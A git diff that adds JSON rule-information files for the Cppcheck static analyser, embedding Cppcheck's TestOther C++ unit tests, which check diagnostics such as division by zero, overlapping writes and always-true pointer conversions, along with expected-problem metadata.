ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparisonFunctionIsAlwaysTrueOrFalse.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparisonFunctionIsAlwaysTrueOrFalse.json new file mode 100644 index 0000000..facc8f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkComparisonFunctionIsAlwaysTrueOrFalse.json @@ -0,0 +1,22 @@ +{ + "name": "checkComparisonFunctionIsAlwaysTrueOrFalse", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 8, + "apis": 24, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 11265 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int 